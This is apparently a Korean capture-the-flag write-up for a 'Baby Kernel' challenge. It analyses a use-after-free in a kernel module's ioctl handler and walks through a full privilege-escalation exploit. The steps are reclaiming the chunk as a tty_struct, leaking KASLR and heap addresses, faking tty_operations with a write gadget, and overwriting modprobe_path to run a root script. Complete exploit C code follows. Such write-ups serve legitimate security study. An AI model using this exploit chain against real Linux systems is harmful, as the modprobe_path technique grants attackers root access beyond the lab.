Baby Kernel
취약점 분석
1. handle_ioctl()의 UAF
FREE ioctl 처리에서 전역 포인터 buf를 해제하지만 NULL로 초기화하지 않는다. 이후 buf는 해제된 heap object를 계속 가리키는 dangling pointer가 된다.
이 상태에서 같은 크기의 kernel object를 재할당시키면, buf를 통해 새로 할당된 object를 읽거나 쓸 수 있다.
case FREE: {
if (!buf) {
return -EFAULT;
}
kfree(buf);
break;
}2. UAF Read/Write Primitive
USE_READ와 USE_WRITE는 buf가 NULL인지 여부만 검사한다. FREE 이후에도 buf 값은 남아 있으므로, 해제된 chunk를 대상으로 copy_to_user()와 copy_from_user()가 가능하다.
이로 인해 freed chunk가 tty_struct로 재할당되면, tty_struct leak과 overwrite가 가능하다.
case USE_READ: {
if (!buf) {
return -EFAULT;
}
return copy_to_user((char*)arg, buf, size);
}
case USE_WRITE: {
if (!buf) {
return -EFAULT;
}
return copy_from_user(buf, (char*)arg, size);
}Exploit 과정
Step 1: UAF chunk 만들기
0x400 크기로 heap chunk를 할당한 뒤 바로 해제한다. 모듈의 전역 buf는 해제된 chunk를 계속 가리킨다.
uint64_t size = 0x400;
ioctl(fd, ALLOC, &size);
ioctl(fd, FREE, 0);Step 2: /dev/ptmx로 tty_struct 재할당
/dev/ptmx를 열어 tty_struct를 할당한다. 이 객체가 방금 해제한 0x400 chunk를 재사용하면, UAF로 tty_struct를 읽고 쓸 수 있다.
uint64_t ptmx = open("/dev/ptmx", O_RDONLY);
ioctl(fd, READ, buf);Step 3: KASLR base와 heap 주소 leak
buf를 uint64_t[]로 해석한다.
buf[4]에는 tty_struct->ops가 들어 있다. 이 포인터에서 known offset 0x1285100을 빼서 kernel base를 구한다.
buf[8]에는 tty_struct + 0x40 형태의 heap pointer가 들어 있다. 여기서 0x40을 빼서 tty_struct base를 구한다.
uint64_t *leak = (uint64_t *)buf;
kbase = leak[4] - 0x1285100;
kheap = leak[8] - 0x40;
modprobe_path = kbase + 0x1b3f600;Step 4: fake tty_operations 구성
tty_struct->ops를 같은 chunk 내부의 fake operations table로 바꾼다.
uint64_t 기준 offset은 다음과 같다.
buf[4] = tty_struct->ops
buf[96] = fake tty_operations 시작
buf[108] = fake tty_operations->ioctlfake_ops는 kheap + 0x300에 둔다. tty_operations->ioctl slot은 fake ops 기준 0x60, 즉 uint64_t 기준 12번째 entry다.
따라서 전체 buffer 기준으로는 0x300 + 0x60 = 0x360, 즉 buf[108]에 gadget을 쓴다.
uint64_t mov_qptr_rdx_rsi_ret = kbase + 0x144fa9;
((uint64_t *)buf)[4] = kheap + 0x300;
((uint64_t *)buf)[0x360 / 8] = mov_qptr_rdx_rsi_ret;
ioctl(fd, WRITE, buf);사용한 gadget은 다음 동작을 한다.
mov qword ptr [rdx], rsi
retioctl(ptmx, cmd, arg) 호출 시 인자는 다음 레지스터로 전달된다.
rsi = cmd
rdx = arg따라서 fake ioctl gadget 호출은 다음 arbitrary write가 된다.
*(uint64_t *)arg = cmd;Step 5: modprobe_path 덮기
fake ioctl을 이용해 modprobe_path를 /tmp/ex로 덮는다.
char *path = "/tmp/ex\0";
ioctl(ptmx, *(uint32_t *)path, modprobe_path);
ioctl(ptmx, *(uint32_t *)(path + 4), modprobe_path + 4);첫 번째 호출은 /tmp, 두 번째 호출은 /ex\0를 쓴다. 최종적으로 modprobe_path는 /tmp/ex가 된다.
Step 6: modprobe trigger
/tmp/ex에 root 권한으로 실행될 script를 만든다. 이후 알 수 없는 magic bytes를 가진 실행 파일을 실행하면 kernel이 modprobe_path를 호출한다.
system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag.txt");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#define ALLOC 0x4008b900
#define FREE 0xb901
#define READ 0x8001b902
#define WRITE 0x4001b902
int main()
{
important("happy hacking!");
int fd = open("/dev/vuln", O_RDWR | O_NOCTTY);
if (fd < 0)
{
perror("open");
return -1;
}
info("fd: %d", fd);
uint64_t size = 0x400;
char buf[0x400] = {0};
uint64_t kbase, kheap, modprobe_path;
// allocate and free memory
ioctl(fd, ALLOC, &size);
ioctl(fd, FREE, 0);
// leak kernel base address
uint64_t ptmx = open("/dev/ptmx", O_RDONLY);
ioctl(fd, READ, buf);
uint64_t *leak = (uint64_t *)buf;
// for (int i = 0; i < 0x50; i++)
// {
// info("buf[%d]: 0x%lx", i, leak[i]);
// }
kbase = leak[4] - 0x1285100;
kheap = leak[8] - 0x40;
modprobe_path = kbase + 0x1b3f600;
info("kernel_base: 0x%lx", kbase);
info("kernel_heap: 0x%lx", kheap);
info("modprobe_path: 0x%lx", modprobe_path);
// overwrite tty_struct
uint64_t mov_qptr_rdx_rsi_ret = kbase + 0x144fa9; // mov qword ptr [rdx], rsi ; jmp 0xffffffff81eafa50
info("mov_qptr_rdx_rsi_ret: 0x%lx", mov_qptr_rdx_rsi_ret);
((uint64_t *)buf)[4] = kheap + 0x300;
((uint64_t *)buf)[0x360 / 8] = mov_qptr_rdx_rsi_ret;
ioctl(fd, WRITE, buf);
info("overwrite tty_struct done");
// overwrite modprobe_path
char *path = "/tmp/ex\0";
ioctl(ptmx, *(uint32_t *)path, modprobe_path);
ioctl(ptmx, *(uint32_t *)(path + 4), modprobe_path + 4);
info("overwrite modprobe_path done");
// set up the malicious script
system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
system("chmod +x /tmp/ex");
// trigger modprobe to execute the malicious script
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
system("cat /flag.txt");
return 0;
}